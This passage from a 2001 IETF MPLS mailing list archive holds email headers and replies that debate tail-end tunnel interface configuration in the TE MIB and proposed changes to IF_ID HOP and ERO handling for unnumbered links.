<dd>create such an entry, but I am not sure why. Some implementations
represent
<dd>the tail of the tunnel the same way that other midpoints are
represented (without 
<dd>an ifIndex) except that the tunnelRole would be set to
tail(3).</font><font face="arial" size=2 color="#0000FF">
</font><font size=3>
<dd>&nbsp;</font><font face="arial" size=2 color="#0000FF">
<dd>The reason to create this entry would be so that the user can set the
</font><font size=3> </font><font size=3 color="#0000FF">mplsTunnelIsIf
value to TRUE. So it is clear based on the configuration that this
terminating tunnel will be a terminating point of an unidirectional
interface.</font>
<dd>If so, it does not seem like there is
<dd>a (documented) way to uniquely identify an incoming signalling
message (for
<dd>tunnel termination) using the tail-end TE MIB specification. In other
words
<dd>how do I match a user created tail-end configuration with (say) a
RSVP
<dd>session that is terminating on this tail-end LSR.</blockquote>
<dd><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>You
should be able to figure this out given the RSVP-TE information
<dd>stored at the tail-end router. It should tell you that this RSVP-TE
session 
<dd>terminates at that LSR the same way that a mid-point LSR tells 
keeps
<dd>information about
transit-sessions.<font face="arial" size=2 color="#0000FF">
</font><font size=3>
<dd>&nbsp;</font><font face="arial" size=2 color="#0000FF">
<dd>So you are saying that the terminating point of a tunnel
interface</b> is identified on the 
<dd>terminating router based on the RSVP session information for that
tunnel?. </font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Most if
not all MPLS implementations that I know of only require the
operator<br>
to configure the tunnel at the head end. If your implementation wishes to
create an<br>
interface for the tail end of the tunnel, it can do this based on the
acceptance of<br>
an RSVP-TE session at the tail point, or via manual configuration.
However, making <br>
this ifIndex consistent with the one at the head automatically is
something that I think you <br>
will have to do manually.<br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>But that is confusing if the user has to use the mplsTunnelTable to
configure interface 
<dd>capability on the head-end and use some other table to configure the
interface capability 
<dd>at the tail-end.</font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>How else
would you propose getting that information to the tail? The only way I
see<br>
doing this is manually. I don't believe that there is a way of getting
this information<br>
to the tail using RSVP-TE, but I could be wrong.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>Let me give you an example, lets say you have router A and router B,
with some intermediate hops (that are of no
consequence).</font><font size=3></font><font face="arial" size=2 color="#0000FF">
<dd>There is a tunnel (tunnel index 1) with </font><font size=3>
</font><font size=3 color="#0000FF">mplsTunnelIsIf set to TRUE originating on Router A and terminating on Router B. Also mplsTunnelName for tunnel 1 is &quot;tunIntf1&quot;</font><font size=3 color="#0000FF">
<dd>So you have an interface by the name of &quot;tunIntf1&quot; on Router A.</font><font size=3 color="#0000FF">
<dd>If you want to have an interface on Router B to receive packets sent from Router A on tunIntf1, how do you set it up ? and where do you specify the tunnel interface name on Router B?</font></blockquote>
</dl><br>
<br>
<blockquote type=cite cite>
<dl><font size=3>
<dd>&nbsp;</font><font size=3 color="#0000FF">
<dd>Thanks</font><font face="arial" size=2 color="#0000FF">
<dd>&nbsp;</font><font size=3>
<dd>&nbsp;
<dd><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<br>

<dd>------------------------------------------------------------------------
<dd>Mathematics is the supreme nostalgia of our time. </font>
</dl></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_463908895==_.ALT--



From owner-mpls@UU.NET  Mon Oct 29 17:07:36 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28843
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 17:07:36 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmwu20920;
	Mon, 29 Oct 2001 22:07:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmwu29209
	for mpls-outgoing; Mon, 29 Oct 2001 22:07:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmwu29204
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 22:07:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmwu21330
	for <mpls@uu.net>; Mon, 29 Oct 2001 22:07:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmwu06828
	for <mpls@uu.net>; Mon, 29 Oct 2001 22:07:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id RAA23994 for <mpls@uu.net>; Mon, 29 Oct 2001 17:07:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA02196 for mpls@uu.net; Mon, 29 Oct 2001 17:07:01 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmwu29171
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 22:06:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmwu22396
	for <mpls@UU.NET>; Mon, 29 Oct 2001 22:06:01 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cnxt10002.conexant.com [198.62.10.2])
	id QQlmwu04873
	for <mpls@UU.NET>; Mon, 29 Oct 2001 22:06:17 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2653.19)
	id <VVKNGRD3>; Mon, 29 Oct 2001 17:05:51 -0500
Message-ID: <87009604743AD411B1F600508BA0F9598AD93E@XOVER.dedham.mindspeed.com>
From: "Kullberg, Alan" <akullber@netplane.com>
To: "'Yakov Rekhter'" <yakov@juniper.net>,
        George Swallow
	 <swallow@cisco.com>
Cc: mpls@UU.NET
Subject: RE: Simplification for UNNUM draft. 
Date: Mon, 29 Oct 2001 17:05:48 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Yakov & George,

I don't like this suggested change.  See reasoning below.

Alan

> -----Original Message-----
> From: Yakov Rekhter [mailto:yakov@juniper.net]
> Sent: Monday, October 29, 2001 11:36 AM
> To: George Swallow
> Cc: mpls@UU.NET
> Subject: Re: Simplification for UNNUM draft. 
> 
> 
> George,
> 
> > draft-ietf-mpls-rsvp-unnum-02.txt allows both the normal HOP and the
> > IF_ID Hop object to be used on an unnumbered link.  This leads to
> > unnecessary cases and extra checking at the incoming interface.

George's reasoning for making the following change is the above sentence.

> > I suggest the following modifications:
> > 
> > a) mandate that one always use the IF_ID HOP object on an unnumbered
> >    link.
> > 
> > b) pop the unnumbered interface subobject off of the ERO before
> >    forwarding the Path message over the unnumbered link (the
> >    information is now in the PHOP
> 
> May I also suggest that we change the semantics of the Unnumbered
> Interface ID subobject in the ERO from:
> 
>    The Interface ID is the outgoing interface identifier with 
> respect to
>    the LSR specified by the router ID.
> 
> to
> 
>    The Interface ID is the incoming interface identifier with 
> respect to
>    the LSR specified by the router ID.
> 
> Yakov.

> George replies:
>
> That would be fine.  In fact in that case, the upstream router would
> not have to pop off the subobject, since the next node would receive a
> an ero which has a valid first object.
>
> ...George

By not popping the subobject off, the receiver of the PATH must do some
"extra checking at the incoming interface" because the IF_ID must be
validated to refer to the same interface.  In this case, the IF_ID is
from the sender's perspective and the UI.interface_id is from the
receiver's perspective, which I think is worse than before for cross-
checking.

In addition, Yakov's change affects Explicit Label Control at the Egress
node.  Let's say the egress node is node B, and there is an unnumbered
interface from B to a node C.  OSPF is not running between B and C,
C doesn't have a Router ID, and B doesn't know what C's unnumbered ID
is.  This makes it impossible to use the ERO to specify the Explicit
Labels between B and C when that interface is unnumbered.



From owner-mpls@UU.NET  Mon Oct 29 17:44:19 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29739
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 17:44:19 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmww08590;
	Mon, 29 Oct 2001 22:44:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmww11071
	for mpls-outgoing; Mon, 29 Oct 2001 22:43:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmww11061
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 22:43:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmww10746
	for <mpls@uu.net>; Mon, 29 Oct 2001 22:41:58 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmww19497
	for <mpls@uu.net>; Mon, 29 Oct 2001 22:42:18 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA13343;
	Mon, 29 Oct 2001 17:41:56 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA07234;
	Mon, 29 Oct 2001 17:41:58 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHL2L76>; Mon, 29 Oct 2001 17:41:57 -0500
Message-ID: <313680C9A886D511A06000204840E1CF4B84D0@whq-msgusr-02.pit.comms.marconi.com>
From: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Date: Mon, 29 Oct 2001 17:41:54 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C160CA.E8D07380"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C160CA.E8D07380
Content-Type: text/plain;
	charset="iso-8859-1"

 

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Monday, October 29, 2001 4:51 PM
To: Dominic-Savio, Patrick
Cc: 'mpls@uu.net'
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)




 Note that this will be at the penultimate-hop, if that is 

enabled. 

Why should it be at the penultimate-hop ?. RSVP signalling goes all the way
to the tail-end and the tail-end TE tunnel entry can be created there.
(Also, penultimate-hop popping is optional).


        I was thinking of the LSR MIB this morning at the same time.
You are right.



Should a tail-end manual entry be made in the TE table ahead of time with 

the mplsTunnelIsIf value set to TRUE?. 



        Depends on your implementation. I suppose that you could manually 

create such an entry, but I am not sure why. Some implementations represent 

the tail of the tunnel the same way that other midpoints are represented
(without 

an ifIndex) except that the tunnelRole would be set to tail(3). 



The reason to create this entry would be so that the user can set the
mplsTunnelIsIf value to TRUE. So it is clear based on the configuration that
this terminating tunnel will be a terminating point of an unidirectional
interface. 

If so, it does not seem like there is 

a (documented) way to uniquely identify an incoming signalling message (for 

tunnel termination) using the tail-end TE MIB specification. In other words 

how do I match a user created tail-end configuration with (say) a RSVP 

session that is terminating on this tail-end LSR.

        You should be able to figure this out given the RSVP-TE information 

stored at the tail-end router. It should tell you that this RSVP-TE session 

terminates at that LSR the same way that a mid-point LSR tells keeps 

information about transit-sessions. 



So you are saying that the terminating point of a tunnel interface is
identified on the 

terminating router based on the RSVP session information for that tunnel?. 


        Most if not all MPLS implementations that I know of only require the
operator
to configure the tunnel at the head end.  
 
But, if you want to treat a tunnel as a real interface (and assign IP
addresses etc. to it at both ends) you will have to have interface
configuration at both the head and tail ends. If you don't have a tail end
interface configuration the only reason to use tunnel interfaces is probably
to make the tunnel *look* like an interface on the head end router. This
however means that you are treating it as an interface on one side and
treating it as a simple terminating tunnel on the other side. This seems
anomalous.
 
 If your implementation wishes to create an
interface for the tail end of the tunnel, it can do this based on the
acceptance of
an RSVP-TE session at the tail point, or via manual configuration. However,
making 
this ifIndex consistent with the one at the head automatically is something
that I think you 
will have to do manually. 
 
I think you misunderstood, the actual value of the ifIndex is of no
consequence, you just have to have a corresponding interface at the other
end. 


But that is confusing if the user has to use the mplsTunnelTable to
configure interface 

capability on the head-end and use some other table to configure the
interface capability 

at the tail-end.


        How else would you propose getting that information to the tail? The
only way I see
doing this is manually. I don't believe that there is a way of getting this
information
to the tail using RSVP-TE, but I could be wrong. 
 
You don't have to get any additional information to the tail. For the
tail-end configuration if you have two additional variables to specify the
originating LSRid and originating tunnel index that should do it. With this
information you can directly associate a tail-end configuration with a
head-end configuration (which is already available at the tail-end through
RSVP-TE signalling).
 
 
Thanks.
 
        --Tom






Let me give you an example, lets say you have router A and router B, with
some intermediate hops (that are of no consequence). 

There is a tunnel (tunnel index 1) with mplsTunnelIsIf set to TRUE
originating on Router A and terminating on Router B. Also mplsTunnelName for
tunnel 1 is "tunIntf1" 

So you have an interface by the name of "tunIntf1" on Router A. 

If you want to have an interface on Router B to receive packets sent from
Router A on tunIntf1, how do you set it up ? and where do you specify the
tunnel interface name on Router B?






Thanks 





        --Tom







------------------------------------------------------------------------ 

Mathematics is the supreme nostalgia of our time. 




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C160CA.E8D07380
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial color=#0000ff size=2></FONT>&nbsp;</DIV>
<BLOCKQUOTE 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau 
  [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Monday, October 29, 2001 4:51 
  PM<BR><B>To:</B> Dominic-Savio, Patrick<BR><B>Cc:</B> 
  'mpls@uu.net'<BR><B>Subject:</B> RE: Question on tunnel Interface (w.r.t TE 
  MIB)<BR><BR></FONT></DIV><FONT size=3>
  <BLOCKQUOTE cite="" type="cite">
    <DL>
      <DD>&nbsp;Note that this will be at the penultimate-hop, if that is 
      <DD>enabled.</FONT><FONT face=arial color=#0000ff size=2> 
      <DD>Why should it be at the penultimate-hop ?. RSVP signalling goes all 
      the way to the tail-end and the tail-end TE tunnel entry can be created 
      there. (Also, penultimate-hop popping is 
  optional).</FONT></DD></DL></BLOCKQUOTE>
  <DL></DL><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>I 
  was thinking of the LSR MIB this morning at the same time.<BR>You are 
  right.<BR>
  <BLOCKQUOTE cite="" type="cite">
    <BLOCKQUOTE cite="" type="cite">
      <DL><FONT size=3>
        <DD>Should a tail-end manual entry be made in the TE table ahead of time 
        with 
        <DD>the mplsTunnelIsIf value set to TRUE?. </FONT><FONT face=arial 
        color=#0000ff size=2></FONT><FONT size=3>
        <DD> 
        <DD><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Depends 
        on your implementation. I suppose that you could manually 
        <DD>create such an entry, but I am not sure why. Some implementations 
        represent 
        <DD>the tail of the tunnel the same way that other midpoints are 
        represented (without 
        <DD>an ifIndex) except that the tunnelRole would be set to 
        tail(3).</FONT><FONT face=arial color=#0000ff size=2> </FONT><FONT 
        size=3>
        <DD></FONT><FONT face=arial color=#0000ff size=2> 
        <DD>The reason to create this entry would be so that the user can set 
        the </FONT><FONT size=3></FONT><FONT color=#0000ff size=3>mplsTunnelIsIf 
        value to TRUE. So it is clear based on the configuration that this 
        terminating tunnel will be a terminating point of an unidirectional 
        interface.</FONT> 
        <DD>If so, it does not seem like there is 
        <DD>a (documented) way to uniquely identify an incoming signalling 
        message (for 
        <DD>tunnel termination) using the tail-end TE MIB specification. In 
        other words 
        <DD>how do I match a user created tail-end configuration with (say) a 
        RSVP 
        <DD>session that is terminating on this tail-end LSR.</DD></DL></BLOCKQUOTE>
    <DD><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>You 
    should be able to figure this out given the RSVP-TE information 
    <DD>stored at the tail-end router. It should tell you that this RSVP-TE 
    session 
    <DD>terminates at that LSR the same way that a mid-point LSR tells keeps 
    <DD>information about transit-sessions.<FONT face=arial color=#0000ff 
    size=2> </FONT><FONT size=3>
    <DD></FONT><FONT face=arial color=#0000ff size=2> 
    <DD>So you are saying that the terminating point of a tunnel interface</B> 
    is identified on the 
    <DD>terminating router based on the RSVP session information for that 
    tunnel?. </FONT></DD></BLOCKQUOTE>
  <DL></DL>
  <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Most 
  if not all MPLS implementations that I know of only require the operator<BR>to 
  configure the tunnel at the head end.&nbsp;<SPAN 
  class=194521422-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#ff0000 size=2>But, 
  if you want to treat a tunnel as a real interface (and assign IP addresses 
  etc. to it at both ends) you will have to have interface configuration at both 
  the head and tail ends. If you don't have a tail end interface configuration 
  the only&nbsp;reason to&nbsp;use tunnel interfaces is probably to make the 
  tunnel *look* like an interface on the head end router. This however means 
  that you are treating it as an interface on one side and treating it as a 
  simple terminating tunnel on the other side. This seems 
  anomalous.</FONT></SPAN></DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=194521422-29102001>&nbsp;</SPAN>If your implementation wishes 
  to create an<BR>interface for the tail end of the tunnel, it can do this based 
  on the acceptance of<BR>an RSVP-TE session at the tail point, or via manual 
  configuration. However, making <BR>this ifIndex consistent with the one at the 
  head automatically is something that I think you <BR>will have to do 
  manually.<SPAN class=194521422-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=194521422-29102001></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#ff0000 size=2>I 
  think you&nbsp;misunderstood, the&nbsp;actual value of the ifIndex is of no 
  consequence, you just have to have a corresponding interface at&nbsp;the other 
  end.</FONT>&nbsp;</SPAN></DIV>
  <BLOCKQUOTE cite="" type="cite">
    <DL><FONT face=arial color=#0000ff size=2>
      <DD>But that is confusing if the user has to use the mplsTunnelTable to 
      configure interface 
      <DD>capability on the head-end and use some other table to configure the 
      interface capability 
      <DD>at the tail-end.</FONT></DD></DL></BLOCKQUOTE>
  <DL></DL>
  <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>How 
  else would you propose getting that information to the tail? The only way I 
  see<BR>doing this is manually. I don't believe that there is a way of getting 
  this information<BR>to the tail using RSVP-TE, but I could be wrong.<SPAN 
  class=194521422-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=194521422-29102001><FONT color=#ff0000><FONT face=Arial 
  size=2>You don't have to get any additional information to the tail. For the 
  tail-end configuration if you have two additional variables&nbsp;to specify 
  the originating LSRid and originating tunnel index that should&nbsp;do 
  it.</FONT>&nbsp;<FONT face=Arial size=2>With this information you can directly 
  associate a tail-end configuration with&nbsp;a&nbsp;head-end configuration 
  (which is already available at the tail-end through RSVP-TE 
  signalling).</FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#ff0000 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=194521422-29102001></SPAN><SPAN 
  class=194521422-29102001><FONT face=Arial color=#ff0000 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=194521422-29102001><FONT face=Arial color=#ff0000 
  size=2>Thanks.</FONT></SPAN></DIV>
  <DIV><SPAN 
  class=194521422-29102001>&nbsp;</SPAN><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR></DIV>
  <BLOCKQUOTE cite="" type="cite">
    <DL><FONT face=arial color=#0000ff size=2>
      <DD>Let me give you an example, lets say you have router A and router B, 
      with some intermediate hops (that are of no consequence).</FONT><FONT 
      size=3></FONT><FONT face=arial color=#0000ff size=2> 
      <DD>There is a tunnel (tunnel index 1) with </FONT><FONT 
      size=3></FONT><FONT color=#0000ff size=3>mplsTunnelIsIf set to TRUE 
      originating on Router A and terminating on Router B. Also mplsTunnelName 
      for tunnel 1 is "tunIntf1"</FONT><FONT color=#0000ff size=3> 
      <DD>So you have an interface by the name of "tunIntf1" on Router 
      A.</FONT><FONT color=#0000ff size=3> 
      <DD>If you want to have an interface on Router B to receive packets sent 
      from Router A on tunIntf1, how do you set it up ? and where do you specify 
      the tunnel interface name on Router B?</FONT></DD></DL></BLOCKQUOTE>
  <DL></DL><BR><BR>
  <BLOCKQUOTE cite="" type="cite">
    <DL><FONT size=3>
      <DD></FONT><FONT color=#0000ff size=3> 
      <DD>Thanks</FONT><FONT face=arial color=#0000ff size=2> 
      <DD></FONT><FONT size=3> 
      <DD> 
      <DD><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR><BR><BR>
      <DD>------------------------------------------------------------------------ 

      <DD>Mathematics is the supreme nostalgia of our time. 
  </FONT></DD></DL></BLOCKQUOTE><BR><BR><BR>
  <DIV>------------------------------------------------------------------------</DIV>Mathematics 
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C160CA.E8D07380--


From owner-mpls@UU.NET  Mon Oct 29 19:12:41 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00675
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 19:12:41 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmxc05558;
	Tue, 30 Oct 2001 00:13:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmxc25822
	for mpls-outgoing; Tue, 30 Oct 2001 00:12:21 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmxc25817
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 00:12:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmxc11726
	for <mpls@uu.net>; Tue, 30 Oct 2001 00:12:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmxc02025
	for <mpls@uu.net>; Tue, 30 Oct 2001 00:12:24 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA04864 for <mpls@uu.net>; Mon, 29 Oct 2001 19:12:04 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id TAA07791 for mpls@uu.net; Mon, 29 Oct 2001 19:12:04 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmxc25610
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 00:10:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmxc26055
	for <mpls@UU.NET>; Tue, 30 Oct 2001 00:10:38 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmxc29545
	for <mpls@UU.NET>; Tue, 30 Oct 2001 00:10:58 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA04762; Mon, 29 Oct 2001 19:10:37 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABF20954;
	Mon, 29 Oct 2001 19:10:34 -0500 (EST)
Message-Id: <4.3.2.7.2.20011029190434.02876dd0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 29 Oct 2001 19:11:28 -0500
To: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Cc: "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <313680C9A886D511A06000204840E1CF4B84D0@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_472341761==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_472341761==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>         Most if not all MPLS implementations that I know of only require 
> the operator
>to configure the tunnel at the head end.
>
>But, if you want to treat a tunnel as a real interface (and assign IP 
>addresses etc. to it at both ends)

         I would categorize the use of a single interface as a "real" interface
configuration as well.

>you will have to have interface configuration at both the head and tail ends.

         That is possible using the existing MIB. I think that we have
violent agreement on this point.

>If you don't have a tail end interface configuration the only reason to 
>use tunnel interfaces is probably to make the tunnel *look* like an 
>interface on the head end router. This however means that you are treating 
>it as an interface on one side and treating it as a simple terminating 
>tunnel on the other side. This seems anomalous.

         I guess that you are entitled to your opinion. My customers
don't think that this approach is so anomalous.

>  If your implementation wishes to create an
>interface for the tail end of the tunnel, it can do this based on the 
>acceptance of
>an RSVP-TE session at the tail point, or via manual configuration. 
>However, making
>this ifIndex consistent with the one at the head automatically is 
>something that I think you
>will have to do manually.
>
>I think you misunderstood, the actual value of the ifIndex is of no 
>consequence,
>you just have to have a corresponding interface at the other end.

         Okay, so what is the problem then? 8)

         --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_472341761==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<blockquote type=cite cite><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Most
if not all MPLS implementations that I know of only require the
operator<br>
to configure the tunnel at the head end.
</font><font face="arial" size=2 color="#0000FF">
</font><font size=3><br>
&nbsp;<br>
